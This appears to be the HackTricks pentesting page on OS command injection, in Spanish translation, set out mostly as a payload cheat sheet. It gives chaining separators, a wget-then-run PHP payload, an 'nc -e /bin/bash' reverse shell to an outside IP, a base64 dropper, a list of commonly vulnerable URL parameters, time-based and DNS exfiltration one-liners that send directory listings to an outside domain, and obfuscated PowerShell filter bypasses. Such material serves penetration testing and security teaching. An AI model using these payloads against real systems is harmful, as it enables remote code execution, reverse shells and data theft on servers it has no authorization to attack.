hacktricks/pentesting-web/command-injection.md

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# Command Injection
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## ¿Qué es la inyección de comandos?
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Una **inyección de comandos** permite la ejecución de comandos arbitrarios del sistema operativo por un atacante en el servidor que aloja una aplicación. Como resultado, la aplicación y todos sus datos pueden verse completamente comprometidos. La ejecución de estos comandos generalmente permite al atacante obtener acceso no autorizado o control sobre el entorno de la aplicación y el sistema subyacente.
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### Contexto
Dependiendo de **dónde se esté inyectando tu entrada**, es posible que necesites **terminar el contexto citado** (usando `"` o `'`) antes de los comandos.
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## Inyección/Ejecución de Comandos
```bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
### **Bypasses de Limitación**
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Si estás tratando de ejecutar **comandos arbitrarios dentro de una máquina linux** te interesará leer sobre estos **Bypasses:**
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{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
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{% endcontent-ref %}
### **Ejemplos**
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```
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
```
### Parámetros
Aquí están los 25 principales parámetros que podrían ser vulnerables a la inyección de código y vulnerabilidades similares de RCE (de [link](https://twitter.com/trbughunters/status/1283133356922884096)):
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```
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
```
### Exfiltración de datos basada en el tiempo
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Extracción de datos: carácter por carácter
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```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
```
### Exfiltración de datos basada en DNS
Basado en la herramienta de `https://github.com/HoLyVieR/dnsbin` también alojada en dnsbin.zhack.ca
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```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
Herramientas en línea para verificar la exfiltración de datos basada en DNS:
* dnsbin.zhack.ca
* pingb.in
### Bypass de filtrado
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#### Windows
```
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
```
#### Linux
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{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
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{% endcontent-ref %}
## Lista de Detección de Fuerza Bruta
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{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}
## Referencias
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
* [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
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</details>
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<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
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